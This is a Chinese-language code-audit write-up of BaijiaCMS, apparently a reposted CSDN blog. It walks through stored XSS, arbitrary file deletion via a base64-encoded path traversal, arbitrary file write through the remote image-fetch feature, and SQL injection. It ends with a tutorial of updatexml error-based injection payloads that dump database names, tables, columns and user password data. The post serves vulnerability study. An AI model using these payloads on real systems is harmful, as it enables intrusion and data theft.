百家CMS代码审计

百家CMS代码审计

1. XSS漏洞

1. 黑盒测试
  1. 在店铺管理处添加店铺
    在这里插入图片描述
  2. 在店铺名称和绑定域名输入XSS代码,接着提交保存
    在这里插入图片描述
  3. 返回后弹窗,XSS代码已成功执行,存在XSS漏洞
    在这里插入图片描述
1. 代码审计
  1. 根据路由找到店铺管理代码:
    路由介绍:
    index.php?mod=site&act=manager&do=store&op=post&beid=1
    act:manager代表manager目录;
    do:代表目录下的php文件;
    op:代表文件中具体的语句分支
    锁定到该php文件:
system\manager\class\web\store.php

在这里插入图片描述
2. 通过抓包查看传递参数:
在这里插入图片描述
可以看到这里主要传递了前端输入的smanewebsite,这两个字段我们外部可控,接着在代码中寻找:

	$data=array('sname'=>$_GP['sname'],'is_system'=>0,
	'isclose'=>intval($_GP['isclose']));
   $data['website']=$_GP['website'];   // 接受前段传递过来的website参数

最后通过Sql语句插入数据库:
在这里插入图片描述
3. 分析到这里,我们知道数据在插入数据之前未作过滤,现在就看输出时是否做过过滤了
在这里插入图片描述
4. 找到输出页面查看:
路径:system\manager\template\web\store_display.php
在这里插入图片描述
5. 可以看到,程序直接输出,无任何过滤,所以存在XSS漏洞

2. 任意文件删除漏洞

1. 黑盒测试+代码审计
  1. 在备份与还原中,可以删除之前备份的数据库在这里插入图片描述
  2. 我们通过抓包来找到该路由:
    请求路径:
/baijiacms-master/index.php?mod=site&act=manager&do=database&op=delete&id=MTY2NTkxODU4Nl9LNTNxMzc4Sw%3D%3D&beid=1

这里参数id为base64编码,我们解码发现它代表的就是备份文件1665918730_Cw00T0zg
在这里插入图片描述
3. 审计此时代码,发现后台接收前端传递的参数id,这里id外部可控,另外发现这里引用了rmdirs()函数,最后这里对删除的文件是否为文件夹做了一个判断,若是文件夹,则OK,若单纯的文件,则无法删除
在这里插入图片描述
4. 查看引用的rmdirs()函数,发现使用了删除函数rmdir(),所以这里我们可以手动构造其他文件来删除
在这里插入图片描述
5. 在config目录下新建test,然后将id换为…/(base64编码)测试:
在这里插入图片描述
在这里插入图片描述
6. 再次查看tets文件,现在已经被删除,任意文件删除漏洞验证成功

3. 任意文件写入漏洞

1. 黑盒测试+代码审计
  1. 该cms多出存在图片上传功能,这里有一个提取网络图片的功能,我们更具路由来找到该代码
    在这里插入图片描述
    在这里插入图片描述
  2. 该处调用了函数fetch_net_file_upload(),我们来找到这个函数:
    在这里插入图片描述
    这里使用了file_get_contents()函数来将远程文件中,之后通过file_save()函数保存
    file_get_contents():把整个文件读入一个字符串中,所以我们在VPS上放入一个文件,让其写入。
  3. 上传之后这里直接返回了路径,我们测试一下试试:
    在这里插入图片描述
  4. 可以看到,文件已成功写入,这里直接可以写shell
    在这里插入图片描述

4. Sql注入漏洞

1. 黑盒测试+代码审计
  1. 在店铺管理处,可以搜索店铺名称:
    在这里插入图片描述
    在这里插入图片描述

  2. 我们找到这里的路由,查看一下代码:
    在这里插入图片描述
    这里的$_GP[‘sname’]通过外部输入接收,然后直接拼接到Sql语句中,造成了Sql注入,我们先将Sql语句打印出来看看:
    在这里插入图片描述

"SELECT store.* FROM `baijiacms_system_store` store where store.`deleted`=0  AND store.sname  LIKE '%1'%' LIMIT 0,20"
  1. 可以看到,我们输入的1’已经被带入Sql语句了,所以此处存在Sql注入漏洞
    payload:1' and updatexml(1,concat(0x7e,user(),0x7e,database()),1)#
    在这里插入图片描述

6. Sql注入之updatexml报错

updatexml()函数:是一个使用不同的xml标记匹配和替换xml块的函数。
作用:改变文档中符合条件的节点的值

语法: updatexml(XML_document,XPath_string,new_value)
第一个参数:是string格式,为XML文档对象的名称
第二个参数:代表路径,Xpath格式的字符串例如//title【@lang】
第三个参数:string格式,替换查找到的符合条件的数据
updatexml使用时,当xpath_string格式出现错误,mysql则会爆出xpath语法错误(xpath syntax)
例如: select * from test where ide = 1 and (updatexml(1,0x7e,3)); 由于0x7e是~,不属于xpath语法格式,因此报出xpath语法错误。

updatexml报错注入

  1. 爆数据库信息
    1’ and updatexml(1,concat(0x7e,database(),0x7e,user(),0x7e,@@datadir),1)#
  2. 爆当前数据库表中信息
    1’ and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1) #
  3. 爆表中字段信息
    1’ and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=‘users’),0x7e),1) #
  4. 爆数据库内容
    1’ and updatexml(1,concat(0x7e,(select group_concat(user,password) from dvwa.users),0x7e),1) #

猜你喜欢

转载自blog.csdn.net/qq_42383069/article/details/127351080
今日推荐